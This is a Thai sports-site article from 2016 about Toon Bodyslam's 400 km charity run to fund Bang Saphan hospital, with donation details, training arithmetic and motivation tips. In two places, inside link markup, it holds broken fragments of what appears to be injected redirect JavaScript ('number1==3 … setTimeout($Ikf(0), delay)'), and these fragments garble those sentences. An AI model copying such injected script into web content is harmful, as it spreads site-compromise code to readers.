• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

“ก้าวคนละก้าว” โครงการเล็กๆ ของพี่ตูน บอดี้สเเลม ที่จุดเเรงบันดาลใจให้ใครหลายคน

stepextra by stepextra
17 November 2016
in Feature, News, Running News
0
“ก้าวคนละก้าว” โครงการเล็กๆ ของพี่ตูน บอดี้สเเลม ที่จุดเเรงบันดาลใจให้ใครหลายคน
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ตูน andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and/” data-hovercard=”/ajax/hovercard/page.php?id=133294784852″>Bodyslamกับโครงการ “ก้าวคนละก้าว” คืออะไร ทำไมพี่ตูน บอดี้ สเเลม อยู่ดีๆ จึงออกมาวิ่ง 400 กิโลเมตร จากกรุงเทพไปบางสะพานในเวลา 10 วัน พี่ตูนกำลังบอกอะไรถึงพวกเรา….?

ถ้าบอกกันตรงๆ พี่ตูนจัดโครงการวิ่ง 400 กิโลเมตร ขึ้นมาเพื่อระดมเงินทุนช่วยเหลือโรงพยาบาลบางสะพานในการซื้อเครื่องมือแพทย์ที่ขาดแคลน ระยะเวลาโครงการ หรือวันเริ่มวิ่งจนถึงจุดหมาย 10 วัน รวมเป็นระยะทาง 400 ก.ม. จาก กรุงเทพ – บางสะพาน จ.ประจวบคีรีขันธ์ วันทำกิจกรรมเริ่มวันที่ 1-10 ธันวาคมนี้ และจะมีการพักในวันที่ 6 ธันวาคม เเล้วออกวิ่งต่อไป…เเต่ StepExtra เชื่อว่ามันมีอะไรมากกว่านี้

“…ถ้าจะเจ็บจนแบบส่งผลกับการออกกำลังกายในอนาคต…ก็คุ้ม
ถ้าการบาดเจ็บของผมครั้งนี้…จะช่วยให้คนระดับเรา ๆ ได้ร่วมกันบ้าง…ช่วยกันบ้าง
สักคนละสิบบาท…ยี่สิบบาท…ถ้าเป็นล้านคนก็สิบล้าน…ยี่สิบล้าน…ผมว่าคุ้ม…” ตูน Bodyslam

สมทบทุนร่วมบริจาคเงินได้ที่ :
บัญชีออมทรัพย์ ธนาคารกรุงไทย สาขาบางสะพาน
ชื่อบัญชี “โครงการก้าวคนละก้าว เพื่อโรงพยาบาลบางสะพาน”
เลขที่บัญชี 7420378118

Posted by Every Bodyslam on Wednesday, November 16, 2016

เสียงเล็กที่ยิ่งใหญ่

เสียงเล็กๆ ของพี่ตูน จะกลายเป็นเสียงที่ดัง…มันคือการทำสิ่งเล็กๆ ที่มีความหมาย ให้กลายเป็นเเรงบันดาลใจของใครหลายๆ คน เชื่อเถอะครับว่า การวิ่งสามารถเปลี่ยนแปลงชีวิตคุณได้

สิ่งที่จะฉุดให้คุณลุกออกมาวิ่งได้นั้นมีไม่กี่อย่างครับ หลายๆ ครั้งที่เจอนักวิ่งในสนาม มีคนบอกว่าต้องออกมาวิ่งเพราะหมอสั่ง เพราะเป็นโรคป่วยไข้ เฉียดตาย…ประมาณว่าไม่เห็นโลงไม่หลั่งน้ำตาพอเริ่มสะสมการวิ่งกันเยอะขึ้น สุขภาพร่างกายก็เริ่มพัฒนาดีขึ้น ไอ้เเบบนี้เราก็ขอดีใจด้วยครับและจอให้พัฒนาไปเรื่อยๆ อย่าหยุด เเต่จะมีไหมที่บอกว่าออกมาวิ่งเพราะต้องการมีสุขภาพดี ต้องการสร้างภูมิคุ้มกันตั้งเเต่ต้้น วิ่งเพื่อพัฒนาตัวเอง มีเเรงบันดาลใจด้านบวกเป็นตัวตั้งต้น เเทนทีจะให้ด้านลบไล่เราให้ออกมาวิ่งออกกำลังกาย

15039658_10154761994394853_8423630466785002820_o (1)

เเรงบันดาลใจเป็นจุดเริ่มทุกสิ่ง เเละเทคนิคการหาเเรงบันดาลใจ อย่างเช่น…

  • การเข้ากลุ่มชมรมวิ่ง เป็นอันดับเเรงๆ ที่ทำได้ง่ายที่สุด คุณจะได้พบปะกับคนหลากหลายประเภท เเต่ละกันก็มีเหตุผลที่อยากออกมาวิ่ง เหตุผลที่อยากวิ่งก็มีไม่เหมือนกัน แต่ไม่เเน่นะ บางทีเเรงบันดาลใจของเขาอาจจะคล้ายของคุณก็ได้ เวลาเข้ากลุ่มชมรมย่อมไปเพื่อนเยอะขึ้น เเละเพื่อนนี้เองจะช่วยสอน ช่วยดันซึ่งกันเเละกัน สำหรับกลุ่มชมรมที่เเนะนำ อย่างเช่น กลุ่ม 42.195 K Club…เราจะไปมาราธอนด้วยกันและSathavornRunningClub
  • โหลดเเอพวิ่ง เพื่อสร้างข้อมูลที่จับต้องได้คือหนึ่งในวิธีสร้างเเรงกระตุ้นในการวิ่งได้อย่างดี มีการสร้างเป้าหมายที่ชัดเจนทุกครั้งที่ออกวิ่ง โดยเเอพจะทำการบันทึก ระยะทาง ความเร็ว อัตราเต้นหัวใจ ฯลฯ ซึ่งสามารถข้อมูลที่ได้จากเเอพมาพัฒนาตัวเองได้ง่ายเเละมีประสิทธิภาพ หรือสามารถเรียนรู้ได้ด้วยตัวเอง
    ข้อดีของการวิ่งกับเเอพ คือ เราดีไซด์ออกเเบบการวิ่งเเต่ละครั้งให้สอดคล้องกับโปรเเกรมการฝึกได้เต็มที่ วันนี้จะวิ่งกี่กิโล ความเร็วเท่าไหร ช่วงไหนเร็วช่วงไหนผ่อนเบา เเอพวิ่งสามารถทำให้ได้หมดครับ การวิ่งสะสมระยะทางเเละสามารถดูได้จากเเอพนั้นมันเหมือนกับการหยอดกระปุกออมสินละครับ ยิ่งสะสมมากเท่าไหร จำนวนเงินก็ย่อมเเยะขึ้นและจะเริ่มมีโมเมนตรัมผลักดันให้เราสะสมเงินให้มากขึ้นเรื่อยๆ เช่นด้วยกับการสะสมระยะทางของเราบนเเอพวิ่ง ไล่จากวันเป็นเดือนเเละเป็นปี เราจะเห็นการพัฒนาการได้ชัดเจนยิ่งขึ้น จากวิ่งสั้นๆ มาวิ่งยาวขึ้นและเริ่มวิ่งเร็วขึ้น การมีสถิติให้ดู บางทีก็จะกลายเป็นของมีค่า เป็นทั้งข้อมูลสถิติใช้ในการพัฒนาด้วยเองเเละเป็นหลักฐานเเห่งความภาคภูมิใจ

15095535_1679938918983656_7819141776175084092_n

ทุกอย่างต้องมีการวางเเผน เตรียมตัว

เห็นอย่างนี้พี่ตูนก็มีการวางเเผนวิ่งมาสักระยะใหญ่เเล้วนะครับ ไม่ใช้อยู่ดีๆ จะออกมาวิ่ง เเต่บอกเลยว่าการวิ่งระยะ 400 กิโลเมตร นั้นหนักหน่วงอยู่เหมือนกัน เเละท้าทายมาก การฝึกออกกำลังกายที่ดีให้เห็นผลต้องมี 4 ปัจจัยหลักๆ คือ

  • Goal & Program วางเเผนตั้งเป้าหมาย เเละออกเเบบการฝึกซ้อม ในที่นี้ลองวิเคาระห์กันดูนะครับ ว่าวิ่งระยะ 400 กิโลเมตรต้องใช้ระยะทางต่อวันเท่าไหร…เอา 400/10 = 40 กิโลเมตร ถ้าพัก 1 วันก็จะตกประมาณ 44 กิโลเมตรต่อวัน นั้นคือพี่ตูนจะวิ่งมาราธอนในหนึ่งวันเลยทีเดียว
  • Effort & Time ความเข้มข้นในการออกกำลังกายเเละเวลาที่ใช้ไป กว่าจะมาถึงจุดนี้ได้นักวิ่งควรจะสะสมไมล์ระยะทางการวิ่งมาสักพักใหญ่ละครับ ถ้าลองคำนวนว่าพี่ตูนจะวิ่งที่ pace 6 ไปตลอดระยะทาง 44 กิโลเมตร จะใช้เวลาประมาณ 4.4 ชั่วโมง บวกเรื่องพักดื่มน้ำไปด้วยก็น่าจะจบที่ 5 ชั่วโมงต่อวัน

    09_10
    ระยะทาง 400 กิโลเมตร ต้องมีการเช็คสภาพร่างกายกันอย่างเป็นระบบเลยละครับ ต้องมีการวางเเผนให้รัดกุม จาก www.khaosod.co.th
  • rest & recovery การพักผ่อนก็ถือเป็นเรื่องสำคัญ วิ่งย่อมมีการใช้กล้ามเนื้อ มีส่วนที่เสียหายเเละต้องการซ่อมเเซมเพื่อใช้งานใหม่ จำนวนวันวิ่งของพี่ตูนอยู่ที่ 9 วัน เพราะมีพักวันที่ 6 ธันวาคม คาดว่าในการพักเเต่ละวันคงต้องนอนอย่างน้อยวันละ 6-7 ชั่วโมง เเล้วค่อยออกไปวิ่งต่อ คาดว่าพี่ตูนคงทำตารางวิ่ง พัก กิน และเวลาหลับไว้ชัดเจนเเล้วนะครับ
  • Eat อาหารการกิน เเหล่งพลังงานที่สำคัญในการวิ่งคือ คาร์โบไฮเดรต เเละต้องมีการเติมในช่วงเวลาวิ่งด้วย อาจจะเป็นพวก energygel หรือ energybar เเต่เมื่อสิ้นสุดการวิ่งในเเต่ละวันคาดว่าจะต้องรับอาหารประเภทโปรตีนเพิ่มเพื่อไปซ้อมเเซมกล้ามเนื้อ

    15056291_1679752809002267_4006467085497137230_n (1)
    รูปประชุมเตรียม #ก้าว… #ก้าวคนละก้าวเพื่อโรงพยาบาลบางสะพาน จาก www.facebook.com/everybodyslam/

สุดท้ายถ้าเพื่อนๆ อยากจะร่วมวิ่งพร้อมกับพี่ตูนก็สามารถทำได้ครับ ในวันที่ 10 ธันวาคม จะไปตั้งขบวนรอวิ่งพอพร้อมพี่ตูนที่บางสะพานกัน และอย่าลืมติดตามข่าวสารจากเพจandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and/” target=”_blank”> Bodyslam และEvery Bodyslamเพราะในระหว่างวันที่ 1-10 ธ.ค.2559 จะมีเพื่อนศิลปินมาร่วมวิ่งตามระยะทางต่างๆ ด้วย รวมทั้งในวันที่ 5 ธันวาคมถ้าใครอยู่หัวหิน พี่ตูนจะมีการสักการะพระบรมฉายาลักษณ์พระบาทสมเด็จพระเจ้าอยู่หัว รัชกาลที่ 9 ที่ หน้าพระราชวังไกลกังวล ก่อนออกวิ่งต่อไป

15055648_1680183395625875_8465141680915005392_n

รูปแบบเส้นทางที่บางสะพาน

15073473_1680183578959190_9019834593649171140_n

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.